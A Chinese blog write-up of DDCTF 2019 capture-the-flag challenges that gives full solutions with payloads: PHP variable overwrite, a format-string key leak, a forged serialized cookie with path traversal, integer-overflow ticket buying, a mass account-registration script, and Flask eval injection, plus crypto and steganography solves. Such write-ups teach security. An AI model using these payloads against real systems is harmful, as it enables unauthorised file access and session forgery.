DDCTF 2019 WriteUp

点击阅读

滴~

读 index.php 文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
/*
* https://blog.csdn.net/FengBanLiuYun/article/details/80616607
* Date: July 4,2018
*/
error_reporting(E_ALL || ~E_NOTICE);


header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
*/

?>

在给的博客 https://blog.csdn.net/FengBanLiuYun/article/details/80616607 中找到 https://blog.csdn.net/FengBanLiuYun/article/details/80913909

practice.txt.swp 得到

f1ag!ddctf.php

转 hex 加两次 base64 读 f1ag!ddctf.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
$content=trim(file_get_contents($k));
if($uid==$content)
{
echo $flag;
}
else
{
echo'hello';
}
}

?>

变量覆盖

payload: http://117.51.150.246/f1ag!ddctf.php?uid=&k=

flag

DDCTF{436f6e67726174756c6174696f6e73}


WEB 签到题

由 index.js 发现 auth() 函数中的 ajax 请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
/**
* Created by PhpStorm.
* User: didi
* Date: 2019/1/13
* Time: 9:05 PM
*/

function auth() {
$.ajax({
type: "post",
url:"http://117.51.158.44/app/Auth.php",
contentType: "application/json;charset=utf-8",
dataType: "json",
beforeSend: function (XMLHttpRequest) {
XMLHttpRequest.setRequestHeader("didictf_username", "");
},
success: function (getdata) {
console.log(getdata);
if(getdata.data !== '') {
document.getElementById('auth').innerHTML = getdata.data;
}
},error:function(error){
console.log(error);
}
});
}

burpsuite 抓包带 didictf_username header 头请求 app/Auth.php

测试当 didictf_username 为 admin 时返回 success 的 json 数据,得到 app/fL2XID2i0Cdh.php

1
{"errMsg":"success","data":"\u60a8\u5f53\u524d\u5f53\u524d\u6743\u9650\u4e3a\u7ba1\u7406\u5458----\u8bf7\u8bbf\u95ee:app\/fL2XID2i0Cdh.php"}

访问能得到 app/Application.php 和 app/Session.php 源码

app/Application.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
Class Application {
var $path = '';


public function response($data, $errMsg = 'success') {
$ret = ['errMsg' => $errMsg,
'data' => $data];
$ret = json_encode($ret);
header('Content-type: application/json');
echo $ret;

}

public function auth() {
$DIDICTF_ADMIN = 'admin';
if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
$this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
return TRUE;
}else{
$this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
exit();
}

}
private function sanitizepath($path) {
$path = trim($path);
$path=str_replace('../','',$path);
$path=str_replace('..\\','',$path);
return $path;
}

public function destruct() {
if(empty($this->path)) {
exit();
}else{

$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}

$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}
}

app/Session.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
<?
include 'Application.php';
class Session extends Application {

//key建议为8位字符串
var $eancrykey = 'EzblrbNS';
var $cookie_expiration = 7200;
var $cookie_name = 'ddctf_id';
var $cookie_path = '';
var $cookie_domain = '';
var $cookie_secure = FALSE;
var $activity = "DiDiCTF";


public function index()
{
if(parent::auth()) {
$this->get_key();
if($this->session_read()) {
$data = 'DiDI Welcome you %s';
$data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
parent::response($data,'sucess');
}else{
$this->session_create();
$data = 'DiDI Welcome you';
parent::response($data,'sucess');
}
}

}

private function get_key() {
//eancrykey and flag under the folder
$this->eancrykey = file_get_contents('../config/key.txt');
}

public function session_read() {
if(empty($_COOKIE)) {
return FALSE;
}

$session = $_COOKIE[$this->cookie_name];
if(!isset($session)) {
parent::response("session not found",'error');
return FALSE;
}
$hash = substr($session,strlen($session)-32);
$session = substr($session,0,strlen($session)-32);

if($hash !== md5($this->eancrykey.$session)) {
parent::response("the cookie data not match",'error');
return FALSE;
}
$session = unserialize($session);


if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
return FALSE;
}

if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}

if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
parent::response('the ip addree not match'.'error');
return FALSE;
}
if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
parent::response('the user agent not match','error');
return FALSE;
}
return TRUE;

}

private function session_create() {
$sessionid = '';
while(strlen($sessionid) < 32) {
$sessionid .= mt_rand(0,mt_getrandmax());
}

$userdata = array(
'session_id' => md5(uniqid($sessionid,TRUE)),
'ip_address' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'user_data' => '',
);

$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
$expire = $this->cookie_expiration + time();
setcookie(
$this->cookie_name,
$cookiedata,
$expire,
$this->cookie_path,
$this->cookie_domain,
$this->cookie_secure
);

}
}


$ddctf = new Session();
$ddctf->index();

查看源码后得知具体流程为

利用 Session.php 的 sprintf 格式化字符串漏洞

1
2
3
4
5
6
7
8
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}

传入 nickname 为 %s 格式化字符串得到 eancrykey

eancrykey: EzblrbNS

利用 Application 的析构函数 __destruct() 读 flag 文件,根据提示 //eancrykey and flag under the folder,flag 应在 ../config/flag.txt

序列化 Application 定义 var $path = '..././config/flag.txt'; 双写 ../ 绕过 sanitizepath 函数过滤得到

1
O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";}

伪造 ddctf_id

1
2
php > echo md5('EzblrbNS'.'O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";}');
5a014dbe49334e6dbb7326046950bee2

getflag

1
2
3
4
5
6
7
8
9
10
11
#coding: utf-8

import requests

s = requests.Session()
header = {'didictf_username':'admin'}
#cookies = {'ddctf_id':'a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22e4b66689ce408335068bd8b5a7c6bd92%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22219.218.130.178%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A82%3A%22Mozilla%2F5.0+%28Macintosh%3B+Intel+Mac+OS+X+10.13%3B+rv%3A66.0%29+Gecko%2F20100101+Firefox%2F66.0%22%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7D13f4f1b110d5b22d052004531ac44816'}
cookies = {'ddctf_id':'O%3A11%3A%22Application%22%3A1%3A%7Bs%3A4%3A%22path%22%3Bs%3A21%3A%22...%2F.%2Fconfig%2Fflag.txt%22%3B%7D5a014dbe49334e6dbb7326046950bee2'}
data = {'nickname':'%s'}
res = s.post('http://117.51.158.44/app/Session.php',headers=header,cookies=cookies,data=data)
print res.text

flag

DDCTF{ddctf2019_G4uqwj6E_pHVlHIDDGdV8qA2j}


Upload-IMG

上传 jpg 图片显示 [Check Error]上传的图片源代码中未包含指定字符串:phpinfo()

推测要二次渲染绕过

使用 https://gist.github.com/virink/0f184d20ef9f9d92cfcbc656c56e6738 这个 php 脚本生成含 phpinfo() 的 jpg

这题要多试几次,先上传, 再下载,脚本处理后再上传、下载

如此反复多次得到 flag


##大吉大利,今晚吃鸡~

抓包分析发现传入 ticket_price 可控

1
2
3
4
5
6
7
8
9
GET /ctf/api/buy_ticket?ticket_price=2000 HTTP/1.1
Host: 117.51.147.155:5050
Accept: application/json
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36
Referer: http://117.51.147.155:5050/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: user_name=1q123; REVEL_SESSION=3dff7d284606b58024a5a3ca60ad6906
Connection: close

利用 unsigned int 整数溢出,能买到一张入场券

进入游戏发现需要知道其他账号的 id 和 ticket 才能移除对手

写脚本不断注册、买入场券,获取其 id 和 ticket,然后用自己的号将其移除

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#coding: utf-8

import requests
import re
import json

ids = []
tickets = []

m_cookie = {'user_name':'admin300','REVEL_SESSION':'f59f3d9307f44dd5f6cb2ba44d45544d'}

for i in range(100,200):
s = requests.Session()
username = "adminnnnsssss"+str(i)
url = 'http://117.51.147.155:5050/ctf/api/register?name={}&password=qqqqqqqq'.format(username)
b_url = "http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967296"
print (url)
c = s.get(url).cookies
cookie = {'user_name':username,'REVEL_SESSION':c['REVEL_SESSION']}
br = s.get(b_url,cookies=cookie)
buy_json = br.text
tic = re.findall(r'"bill_id":"(.*?)"',buy_json)[0]
pay_url = 'http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id='+tic
pay_res = s.get(pay_url,cookies=cookie)
res_url = "http://117.51.147.155:5050/ctf/api/search_ticket"
res = s.get(res_url,cookies=cookie)
iid = re.findall(r'"id":(.*?),"ticket":".*?"',res.text)[0]
ticket = re.findall(r'"id":.*?,"ticket":"(.*?)"',res.text)[0]
ids.append(iid)
tickets.append(ticket)
print iid
print ticket
re_url = 'http://117.51.147.155:5050/ctf/api/remove_robot?id={}&ticket={}'.format(iid,ticket)
sss = requests.get(re_url,cookies=m_cookie).text
print sss

吃鸡


Wireshark

Wireshark 导出 HTTP 对象

发现到处的文件中有两张图和一个解密网站 html

导出 png 图片,其中一张高度改 800 得到 key: xS8niJM7

http://tools.jb51.net/aideddesign/img_add_info解密

得到隐藏信息:

转16进制得到 flag

1
2
echo 44444354467B4E62756942556C52356C687777324F6670456D75655A6436344F6C524A3144327D | xxd -r -p
DDCTF{NbuiBUlR5lhww2OfpEmueZd64OlRJ1D2}⏎

联盟决策大会

有关 Shamir’s Secret Sharing

https://en.wikipedia.org/wiki/Shamir%27s_Secret_Sharing

参考这篇文章的代码,http://mslc.ctf.su/wp/plaidctf-2012-nuclear-launch-detected-150-password-guessing/

先把第一组的1,2,4解出,再把第二组的3,4,5解出,最后利用得到的两个数据解出明文

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from libnum import *

p = 0xC45467BBF4C87D781F903249243DF8EE868EBF7B090203D2AB0EDA8EA48719ECE9B914F9F5D0795C23BF627E3ED40FBDE968251984513ACC2B627B4A483A6533

pairs1 = []
pairs1 += [(1, 0x729FB38DB9E561487DCE6BC4FB18F4C7E1797E6B052AFAAF56B5C189D847EAFC4F29B4EB86F6E678E0EDB1777357A0A33D24D3301FC9956FFBEA5EA6B6A3D50E)]
pairs1 += [(2, 0x478B973CC7111CD31547FC1BD1B2AAD19522420979200EBA772DECC1E2CFFCAE34771C49B5821E9C0DDED7C24879484234C8BE8A0B607D8F7AF0AAAC7C7F19C6)]
pairs1 += [(4, 0xBFCFBAD74A23B3CC14AF1736C790A7BC11CD08141FB805BCD9227A6E9109A83924ADEEDBC343464D42663AB5087AE26444A1E42B688A8ADCD7CF2BA7F75CD89D)]

pairs2 = []
pairs2 += [(3, 0x9D3D3DBDDA2445D0FE8C6DFBB84C2C30947029E912D7FB183C425C645A85041419B89E25DD8492826BD709A0A494BE36CEF44ADE376317E7A0C70633E3091A61)]
pairs2 += [(4, 0x79F9F4454E84F32535AA25B8988C77283E4ECF72795014286707982E57E46004B946E42FB4BE9D22697393FC7A6C33A27CE0D8BFC990A494C12934D61D8A2BA8)]
pairs2 += [(5, 0x2A074DA35B3111F1B593F869093E5D5548CCBB8C0ADA0EBBA936733A21C513ECF36B83B7119A6F5BEC6F472444A3CE2368E5A6EBF96603B3CD10EAE858150510)]

res = 0

def sss(p,pairs,res):
res = 0
for i, pair in enumerate(pairs):
x, y = pair
top = 1
bottom = 1
for j, pair in enumerate(pairs):
if j == i:
continue
xj, yj = pair
top = (top * (-xj)) % p
bottom = (bottom * (x - xj)) % p
res += (y * top * invmod(bottom, p)) % p
res %= p
return res


p31 = (1,sss(p,pairs1,res))
p32 = (2,sss(p,pairs2,res))

pairs3 = [p31,p32]

print n2s(sss(p,pairs3,res))

运行脚本得到 flag

DDCTF{vF22holF5hl5q0WmrFZ5kZ1DBdWOGObk}


MulTzor

下载保存后使用 xortool

1
2
xortool -x xx.txt -o
cat ./* | grep DD

flag

DDCTF{b5f49e210662301ac0f6f3a6526106f1}


北京地铁

图片最低位提取 7SsQWmZ524i/yVWoMeAIJA==

aes 解密

http://tool.chacuo.net/cryptaes

密钥是 :weigongcun

DDCTF{Q*2!x@B0}


homebrew event loop

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'

from flask import Flask, session, request, Response
import urllib

app = Flask(__name__)
app.secret_key = '*********************' # censored
url_prefix = '/d5afe1f66147e857'

def FLAG():
return 'FLAG_is_here_but_i_wont_show_you' # censored

def trigger_event(event):
session['log'].append(event)
if len(session['log']) > 5: session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)

def get_mid_str(haystack, prefix, postfix=None):
haystack = haystack[haystack.find(prefix)+len(prefix):]
if postfix is not None:
haystack = haystack[:haystack.find(postfix)]
return haystack

class RollBackException: pass

def execute_event_loop():
valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None
while len(request.event_queue) > 0:
event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
request.event_queue = request.event_queue[1:]
if not event.startswith(('action:', 'func:')): continue
for c in event:
if c not in valid_event_chars: break
else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
except RollBackException:
if resp is None: resp = ''
resp += 'ERROR! All transactions have been cancelled. <br />'
resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break
except Exception, e:
if resp is None: resp = ''
#resp += str(e) # only for debugging
continue
if ret_val is not None:
if resp is None: resp = ret_val
else: resp += ret_val
if resp is None or resp == '': resp = ('404 NOT FOUND', 404)
session.modified = True
return resp

@app.route(url_prefix+'/')
def entry_point():
querystring = urllib.unquote(request.query_string)
request.event_queue = []
if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
querystring = 'action:index;False#False'
if 'num_items' not in session:
session['num_items'] = 0
session['points'] = 3
session['log'] = []
request.prev_session = dict(session)
trigger_event(querystring)
return execute_event_loop()

# handlers/functions below --------------------------------------

def view_handler(args):
page = args[0]
html = ''
html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points'])
if page == 'index':
html += '<a href="./?action:index;True%23False">View source code</a><br />'
html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
html += '<a href="./?action:view;reset">Reset</a><br />'
elif page == 'shop':
html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
elif page == 'reset':
del session['num_items']
html += 'Session reset.<br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'
return html

def index_handler(args):
bool_show_source = str(args[0])
bool_download_source = str(args[1])
if bool_show_source == 'True':

source = open('eventLoop.py', 'r')
html = ''
if bool_download_source != 'True':
html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'

for line in source:
if bool_download_source != 'True':
html += line.replace('&','&amp;').replace('\t', '&nbsp;'*4).replace(' ','&nbsp;').replace('<', '&lt;').replace('>','&gt;').replace('\n', '<br />')
else:
html += line
source.close()

if bool_download_source == 'True':
headers = {}
headers['Content-Type'] = 'text/plain'
headers['Content-Disposition'] = 'attachment; filename=serve.py'
return Response(html, headers=headers)
else:
return html
else:
trigger_event('action:view;index')

def buy_handler(args):
num_items = int(args[0])
if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])

def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume: raise RollBackException()
session['points'] -= point_to_consume

def show_flag_function(args):
flag = args[0]
#return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
return 'You naughty boy! ;) <br />'

def get_flag_handler(args):
if session['num_items'] >= 5:
trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries
trigger_event('action:view;index')

if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0')

代码逻辑不难理解

解题思路是向 trigger_event 函数里传入数组,往队列里添加 get_flag,虽然页面得不到 flag 回显,但是 session 的 log 里会有记录

通过 #, eval 执行 trigger_event,也由 # 分割,传入buy_handler 和 get_flag

payload

http://116.85.48.107:5002/d5afe1f66147e857/?action:trigger_event%23;action:buy;10%23action:buy;10%23action:get_flag;0

flag : DDCTF{3v41_3v3nt_100p_aNd_fLASK_c0Ok1e}


文章作者: J0k3r
文章链接: http://j0k3r.top/2019/04/22/ddctf2019/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 J0k3r's Blog